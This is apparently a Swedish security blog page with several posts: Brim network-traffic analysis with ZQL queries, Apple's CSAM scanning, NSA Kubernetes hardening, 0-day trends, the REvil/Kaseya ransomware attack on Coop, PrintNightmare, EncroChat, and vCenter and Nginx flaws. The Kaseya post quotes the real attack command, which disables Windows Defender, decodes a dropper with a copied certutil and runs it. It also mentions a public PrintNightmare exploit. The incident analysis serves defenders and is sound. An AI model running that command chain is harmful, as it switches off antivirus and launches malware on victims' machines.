Analys av näterverkstrafik med Brim

Brim är ett relativt nytt verktyg som släpptes 2018 som underlättar analys av nätverkstrafik. De tre grundstenarna i Brim är Suricata, Zeek (tidigare Bro) och Wireshark.

Den primära analysen görs i ett grafisk gränssnitt som är utvecklat i ramverket Electron (som bl.a. Slack). Backend är skrivet i programspråket Go och använder ett filformat vid namn ZNG. Givetvis går det också att använda Brim utan det grafiska gränssnittet.

Eftersom designen är Unix-lik så kan du separera samtliga komponenter och arbeta mot en Zeek-instans som ligger på en annan server och bara använda det grafiska gränssnittet i Brim på din arbetsstation.

Att komma igång och importera en PCAP-fil på 1 GB tar bara några sekunder och du kan komma igång och arbeta direkt med datan. Förutom PCAP-filer så kan Brim även arbeta med formaten .pcapng, .zng och Zeek ASCII/JSON.

När du startar Brim för första gången ser det ut enligt nedan skärmdump. Du arbetar med olika spaces, queries samt du har möjlighet att se din historik:

När vi sedan importerat en fil så kan vi ställa manuella frågor via en ZQL-query eller klicka på valfritt fält. Följande skärmdump visar hur det ser ut direkt när vi valt att importera en PCAP:

Och nu är det dags att försöka att ställa några ZQL-frågor för att sedan utföra Threat hunting. Med första frågan kollar vi bara vilka olika streams som finns tillgängliga, och ni som arbetat med Zeek tidigare känner igen dessa:

count() by _path | sort -r

Och då ser det ut enligt följande på den PCAP som jag valt att arbeta med:

Från ovan vy så kan vi också högerklicka och välja ”Pivot to logs” för att se all trafik givet en viss _path. Och i ovan fall så ser vi enbart en snmp-förfrågan. Då kan vi enkelt filtrera ut den förfrågan via höger musknapp eller att skriva följande ZQL:

_path = "snmp"

Och enligt ovan så ser vi även att det förekommer 97 st okrypterade anslutningar där vi har möjlighet att söka efter avvikande user_agents med följande ZQL:

_path="http" | count() by user_agent | sort -r

Vilket då ger oss följande user_agents:

Det är även möjligt att använda cut() på följande sätt exempelvis:

_path=http | count() by status_code,host | status_and_counts=collect(cut(status_code,count)) by host

Och en till trevlig sak är att ZQL förstår sig på CIDR så du kan använda network_of() på följande sätt för att hitta vilka nät som DNS-servrar finns på:

_path=dns | put classnet=network_of(id.resp_h) | cut classnet | count() by classnet | sort -r

En annan fördel med Brim som är värd att trycka på också är att du enkelt kan öppna intressanta streams med Wireshark med hjälp av ett klick. Se röd pil nedan:

Vill man helt utesluta det grafiska gränssnittet och bara använda bakomliggande funktioner så går detta också givetvis bra för att exempelvis importera och arbeta med en PCAP-fil.

Det finns två sätt att importera en PCAP-fil direkt från kommandoskalet. Det ena är via zapi som följer med Brims installation eller ladda hem verktyget brimcap. För att använda de verktyg som följer med så kör man bara:

zapi new testspace
zapi -s testspace postpcap trace_2021-02-27_06:17:24.anon.pcap

Vilket tar 26 sekunder. Vi kan sedan ställa frågor direkt mot vårat nya testspace och den ZNG-fil som skapades på följande sätt:

zq -t "sum(orig_bytes)" trace_2021-02-27_06:17:24.anon.pcap.zng

En pcap på 2G resulterar i en ZNG-fil på 5.5MB i mitt test ovan. Och den som känner till zeek-cut sedan tidigare kan också köra frågor likt detta:

zq -f text "cut ts,id.orig_h,id.orig_p" trace_2021-02-27_06:17:24.anon.pcap.zng

Att istället köra via brimcap så tar detta 34 sekunder och filen blir 5,8MB:

brimcap analyze trace_2021-02-27_06:17:24.anon.pcap > trace_2021-02-27_06:17:24.anon.pcap.zng

Slutsats

Första releasen av Brim släpptes 2018 och sedan dess har det släppts mängder av förbättringar och uppdateringar. Dock har det inte hänt så mycket sedan Februari 2021 då version 0.24.0 släpptes.

Företaget bakom Brim har ca 7 anställda och går under namnet Brim Security och här kan du ladda hem Brim om du själv vill testa:

Jag gillar också tänket bakom Zed, att strukturera upp metadata. Och jag hoppas att fler projekt ska plocka upp det såsom Arkime (tidigare Moloch). Och även möjligheten att köra Zqd som är lyssnaren remote tycker jag är mycket bra.

En annan idé som verkar lovande är kombinationen tshark + Elasticsearch, något som är implementerat i tsharkVM.

Apple börjar söka igenom mobiltelefoner

Uppdatering: Det verkar som att även macOS omfattas av denna genomsökning och inte enbart mobiltelefoner. Även så har det nu skapats ett öppet brev till Apple som går att skriva under.

Apple kommer att från och med iOS 15 samt iPadOS 15 att söka igenom iCloud-bilder efter specifika signaturer. Detta kommer att göras direkt från enheten genom att en databas laddas upp med CSAM-hashar. CSAM står för Child Sexual Abuse Material och är således ett system för att söka igenom barnporr.

Systemet ser ut enligt följande på en övergripande nivå:

Algoritmen för att skapa hashar heter NeuralHash och medger att Apple kan få larm om eventuella matchningar. Men det är förenat med ett stort intrång i integriteten eftersom nu genomsöks en del i det som går under benämningen end-to-end kryptering. I framtiden kanske även andra appar genomsöks såsom Signal, Wire och Telegram. Om användaren inte använder sig av iCloud kommer ingen genomsökning att genomföras.

Apple har dock uppgett tidigare att de genomsöker bilder som ”laddas upp” samt så gör både Google och Facebook genomsökning av bilder sedan tidigare. Även så ändrade Apple användarvillkoren redan 2019 att inkludera en text om att uppladdat material ska genomsökas:

We may also use your personal information for account and network security purposes, including in order to protect our services for the benefit of all our users, and pre-screening or scanning uploaded content for potentially illegal content, including child sexual exploitation material.

Och den gången pratades det om ett system vid namn PhotoDNA som är utvecklat av Microsoft.

En annan nyhet som också Apple har gått ut med är att barn under 13 år som får ett meddelande via iMessage som innehåller naket innehåll så kommer föräldrar att erhålla en varning samt att bilden kommer automatiskt att bli blurrad. Detta har dock troligtvis inget med CSAM att göra.

I denna pdf kan du läsa mer om hur CSAM fungerar: CSAM_Detection_Technical_Summary.pdf

NSA:s säkerhetsredkommendationer för Kubernetes

Amerikanska myndigheten NSA har släppt en guide hur Kubernetes (K8s) kan göras säkrare. NSA har en historia av att släppa bra verktyg och guider.

Just Kubernetes har växt sig stark som en bra plattform senaste åren för att underlätta automatisering, administration och skalning av containers. K8s designades av Google runt 2014 men är nu hemmahörande hos Cloud Native Computing Foundation.

I guiden som NSA släppte pekar man på problem med supply chain och hur tredjepartsmjukvara lyfts in i byggkedjan. Men även sårbarheter som kan återfinnas i kontrollplanet, arbetsnoder och själva applikationerna som går i containers. Det finns även en insider-problematik som tas upp i guiden:

Insider threats can be administrators, users, or cloud service providers. Insiders with special access to an organization’s Kubernetes infrastructure may be able to abuse these privileges. 

NSA Kubernetes hardening guide

Bild på hur ett Kubernetes-kluster kan se ut:

För att sammanställa rekommendationerna som NSA är så är de enligt följande:

  • Sök igenom Pods och containers efter sårbarheter och felkonfigureringar
  • Kör Pods och containers med så låga behörigheter som möjligt och använd SELinux, Apparmor och seccomp
  • Används separering av nätverk så ett eventuellt intrång gör så liten skada som möjligt
  • Använd brandväggar för att blockera så mycket som möjligt samt använd kryptering
  • Använd stark autentisering och begränsa så mycket som möjligt vad administratörer och användare kan göra
  • Använd spårbarhet och loggning (audit loggning).
  • Kontrollera löpande samtliga Kubernetes-inställningar som kan påverka säkerheten samt se till att säkerhetspatchar är installerade

Ovan listan går så klar guiden igenom på en djupare nivå. Rekommenderar även att läsa diskussionerna på HackerNews som brukar vara rätt intressanta.

Ökad detektion av 0-days

Googles specialgrupp vid namn Threat Analysis Group (TAG) har skrivit ett intressant inlägg om detektion av 0-days som används vid cyberattacker. 0-days är sårbarheter som är okända och ej åtgärdade av leverantören.

Tittar vi på statistik som TAG presenterar så har detektionen senaste året ökat markant över sårbarheter som utnyttjas ”in the wild”. Dvs sårbarheter som aktivt utnyttjas med en exploit och som sedan detekteras på ett eller annat sätt:

Bildkälla

Men vad beror denna ökning på? Jo det finns ett antal faktorer som spelar in:

  • Det finns fler aktörer som handlar med sårbarheter. Så kallade Cyber Arms Dealers eller exploitmäklare
  • Marknaden har blivit mer mogen och gör det svårare att ta sig in i system via mer traditionella sätt såsom social engineering
  • Vi blir bättre på att detektera 0-days
  • Aktörer såsom Google, Microsoft och Apple anger numera i sina säkerhetsuppdateringar om en viss sårbarhet som åtgärdats, utnyttjas aktivt ”in the wild”
  • Länders budgetar att utföra offensiva cyberoperationer antas öka successivt. Därmed även möjligheterna att införskaffa zero-days

Det jag hoppas och tror är att Apple i framtiden kommer att öppna upp iOS mer så att forensiska undersökningar ska bli lättre och därmed också möjligheterna att detektera 0-days i efterhand bättre. Detta är så klart möjligt i dagsläget till viss del med verktyg såsom MVT.

Värt också att notera är att de som utnyttjar 0-days är måna om att dessa inte detekteras och åtgärdas, därför använder man metoder såsom ECDH för att försvåra analys (anti-forensics).

Som jag också har skrivit om tidigare så ökar troligtvis även N-days/patchgapping-behovet och marknaden. För att nämna några företag som livnär sig i denna gråzon med att förmedla 0-days och utveckla trojaner/bakdörrar kan jag lista:

  • Candiru, Saito Tech Ltd
  • NSO Group
  • Memento Labs (fd. HackingTeam)
  • Gamma Group
  • Zerodium
  • DarkMatter. Med kontor i bla Finland under namnet Zeline 1 Oy, Digital 14 Oy
  • Exodus Intel
  • Endgame

Finns givetvis ett antal till. Kommentera gärna nedan om du känner till fler.

Så genomfördes ransomware-attacken mot Coop

Så genomfördes ransomware-attacken mot Coop

Coop använder sig av en leverantör vid namn Visma Esscom (Visma Retail, Extenda) som i sin tur använder en mjukvara vid namn Kaseya. Denna mjukvara kan användas för fjärrstyrning och uppdatering av mjukvara.

Kaseya levererar en on-prem server vid namn Kaseya VSA som också går att köra som SaaS. Denna mjukvara har utsatts för intrång och troligtvis placerades en bakdörr i uppdateringsrutinen för Kaseya VSA.

Därför rekommenderar Kaseya att man helt stänger av sin Kaseya VSA-server för att angriparna tar bort övrig administrativ access till denna för att låsa ute ”riktiga administratörer”.

Bakom attacken står ransomgruppen REvil som lyckats via denna väg ta sig in på ett 40-tal kunder till Kaseya. Dessa kunder såsom Visma Esscom har i sin tur vidare mängder med kunder. Andra företag som drabbats är  Synnex Corp. och Avtex LLC.

Lösensumma ligger på ca 400000 kr för enskilda system enligt källor till Bloomberg och en annan summa som nämnts är 42M SEK till Bleepingcomputer om man vill låsa upp samtliga. Och attacker mot managed service providers (MSP) är synnerligen allvarliga då det kan drabba otroligt många organisationer, såsom fallet med SolarWinds.

Kaseya VSA skriver en fil vid namn agent.crt till katalogen c:\kworking när en uppdatering vid namn Kaseya VSA Agent Hot-fix installeras.

Hur agent.crt avkodas och resulterar i agent.exe som startas hittar du här:

"C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe

Källa: Reddit

Agent.exe är i sin tur signerad av organisationen PB03 TRANSPORT LTD:

VirusTotal länk för agent.exe hittar du här, och Any.run här och pressrelease från Visma hittar du här.

SHA-256 för agent.exe: d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e

Och för mpsvc.dll: 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd som är en av flera filer som ingår i droppern agent.exe.

Konfigurationsfil för REvil hittar du på Github här och en AHQ för Microsoft 365 här.

Uppdatering2: Ett steg som varit inte helt klart i ovan beskrivning är huruvida det var en automatisk uppdatering eller en faktiskt sårbarhet i Kaseya VSA som utnyttjas. Nya spår visar på att det var en sårbarhet som utnyttjas på grund av att VSA-servern är ansluten direkt mot internet.

Uppdatering: Det kan vara så att flertalet system är krypterade med samma publika nyckel. Det innebär att om en organisation betalar så kan flertalet dra nytt av detta:

Allvarlig sårbarhet i Windows-printspooler ”PrintNightmare”

Uppdatering: Korrekt CVE för denna nya sårbarhet är CVE-2021-34527.

Om du har ”Print Spooler”-tjänsten aktiverad (vilket är standard) innebär det att vem som helst med åtkomst kan exekvera kod som SYSTEM mot Windows-domänkontrollanten. I dagsläget finns det ingen patch från Microsoft.

Så gör ett uppehåll i din semester och stäng av tjänsten omedelbart. Från Tenables blogg:

Exploitation of CVE-2021-1675 could give remote attackers full control of vulnerable systems. To achieve RCE, attackers would need to target a user authenticated to the spooler service. Without authentication, the flaw could be exploited to elevate privileges, making this vulnerability a valuable link in an attack chain.

Video på PoC:

https://twitter.com/gentilkiwi/status/1410066827590447108?s=20

Mer information hos Microsoft: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675

Och här finns en fungerade exploit av cube0x0:

Google lanserar SLSA

Google logo

Google lanserar nu ett nytt ramverk för säkrare Supply Chain Cyber Security. Detta ramverk har fått namnet SLSA: Supply-chain Levels for Software Artifacts och uttalas salsa. Ramverket består av tre olika delar enligt följande:

  1. En gemensam standard som industrin har enats om
  2. En process för att granska och ackreditera ovan standard
  3. Tekniska kontroller för att övervaka ursprung och upptäcka eller förhindra överträdelser

Även finns det fyra olika säkerhetsnivåer:

Google har även dokumenterat några av de attacker som kan drabba en supply-chain enligt följande bild:

Jag tycker det är ett bra initiativ av Google och att det finns mer att läsa i Googles SRE Book samt BAB (Binary Authorization for Borg). Måste även passa på att rekommendera Security Scorecards som är ett projekt för att beräkna säkerheten på open-source projekt, testa och läs mer här:

Så knäcktes EncroChat av polisen

Jag kommer i detta blogginlägg försöka att göra en kvalificerad gissning om hur den franska polisen lyckades knäcka den krypterade chattjänsten EncroChat.

Det mest troliga scenariot är att polisen tog över centrala delar av infrastrukturen såsom uppdateringsservrar och introducerade helt enkelt en ny uppdatering till telefonen som innehöll en bakdörr som möjliggjorde avtappning av meddelanden.

Totalt rör det sig om 68 miljoner meddelanden 32477 telefoner från 121 länder som har tappats av (avlyssnats). Och läser man i rapporten från svenska polisens analysprojekt Robinson så kan vi läsa följande:

Ungefär 40 procent av användarna befann sig i Sverige under den aktuella tidsperioden och knappt 15 procent befann sig utomlands. För övriga saknas information. 

Vilket gör att vi kan dra slutsatsen att polisen i Sverige fått ta del av meddelanden som skrivits på svenska och att viss geografisk information finns med. För bakdörren innehöll troligtvis en modul som samlade in information om närliggande WiFI-accesspunkter och så nyttjades denna information som lokalisering.

Det utfärdades även franska domstolsordrar om att EncroChat.ch skulle förbli uppe och fungerande vilket stärker tesen att den bakdörr som polisen introducerade försvagade de kryptografiska egenskaperna i mobiltelefonen via en central uppdatering. Domstolsordern skickades till leverantörerna Gandhi SAS, DNS Made Easy och OVH.

EncroChats servrar stod troligtvis i OVH:s datacenter i staden Roubaix där bakdörren fysiskt las in.

Intressant är också att telefonerna är från av typen BQ Aquaris X2 och hade GPS samt mikrofon, USB-port bortplockad. Därav metoden ovan gällande WiFi som metod för att lokalisera telefonerna.

När personerna bakom EncroChat fick nys om polisens operation och att det fanns bakdörrar installerade i telefonerna så skickades följande meddelande ut till samtliga telefoner:

Enligt vissa källor så las bakdörren på ca 50% av alla EnroChat-telefoner som fanns i omlopp. Samt så las den in i flertalet olika steg genom flertalet uppdateringar där den första uppdateringen skulle göra så att polisen kunde ta sig förbi PIN-kodsskyddet och att telefonen inte skulle raderas om fel kod skrevs in för många gånger:

In May, Motherboard reports, some Encrochat users started to have problems with that wipe feature. At first, Encrochat assumed it was user error or a rogue bug. In May, the company got its hands on one of the X2 devices with the problem and discovered the issue was not user error. Instead, it was malware that not only prevented the wipe but also recorded screen lock passcodes and cloned application data.

Efter att EncroChat-nätverket togs över så använder kriminella troligtvis nu andra lösningar såsom MPC, Phantom, Ciphr, Myntex, Omerta och numera även knäckta SkyECC. Jag har även tidigare skrivit om krypterade lösningarna Ironbox och Ennetcom.

Tre andra teser som också är tänkbara men enligt mig mindre troliga:

  1. Företrädarna för EnrcoChat gjorde en deal med polisen om straffreduktion etc och hjälpte således till att lägga in en bakdörr
  2. Polisen identifierade en brist/svaghet som utnyttjades. Denna tes är även mycket närbesläktad med den tes jag presenterar ovan, men värt att känna till är att dessa system och många krypterade system inte är byggda för att klara av en aktör som har legala möjligheter att erhålla signeringsnycklar av uppdateringar eller fysisk access till servrar inom datacenters och utvecklande företag.
  3. Telefoner således med bakdörren redan implementerad. Vilket är det mest troliga scenariot i ett annat närliggande fall, nämligen SkyECC

Jag tror inte att den franska eller holländska polisen själva har kompetens att införa denna bakdörr utan har fått hjälp av en annan expertinstans såsom DGSE. Avlyssningen pågick mellan April och Juni 2020 men planeringen började redan 2017 samt gick under kodnamnet Emma 95.

Ny allvarlig vCenter-sårbarhet

Årets andra allvarliga sårbarhet till VMware vCenter har nu identifierats. Denna har en CVSS score på 9.8 vilket är synnerligen allvarligt. Gäller vCenter-versioner 6.5, 6.7 och 7.0, samt så finns det en workaround och en patch släppt för att åtgärda sårbarheten (jag skrev om den tidigare sårbarheten här).

Beskrivning från VMware enligt följande:

The affected Virtual SAN Health Check plug-in is enabled by default in all vCenter Server deployments, whether or not vSAN is being used.

Sårbarheten identifierades av Ricter Z på 360 Noah Lab.

Läs mer hos VMware här:

https://www.vmware.com/security/advisories/VMSA-2021-0010.html

Samt följande blogginlägg. Sårbarheten heter VMSA-2021-0010 hos VMware och har fått CVE-2021-21985 samt CVE-2021-21986.

Ny remote-sårbarhet i Nginx

Ny remote-sårbarhet i Nginx

En sårbarhet har identifierats i den populära webbservern Nginx. Sårbarheten har och göra med hur DNS-svar hanteras av Nginx och kräver således att du har ett resolver-direktiv konfigurerat i din konfigurationsfil.

”A security issue in nginx resolver was identified, which might allow an
attacker to cause 1-byte memory overwrite by using a specially crafted
DNS response, resulting in worker process crash or, potentially, in
arbitrary code execution (CVE-2021-23017).”

Sårbarheten gäller version 0.6.18 till 1.20.0 och är åtgärdad i version 1.21.0 samt 1.20.1. Just Nginx används av 34% av alla världens webbservrar. Så detta är synnerligen allvarlig och du bör uppdatera/patcha snarast.

Så här ser statistiken ut enligt w3techs:

Usage statistics of web servers

Nginx-sårbarheten identifierades av Luis Merino, Markus Vervier, Eric Sesterhenn från företaget X41 D-Sec GmbH.

Oklart i dagsläget om det går att utnyttja denna sårbarhet till att erhålla RCE, men troligtvis är det möjligt (Remote Code Execution).

Uppdatering: Mer information finns nu tillgänglig i denna advisory från X41 D-Sec:

Källa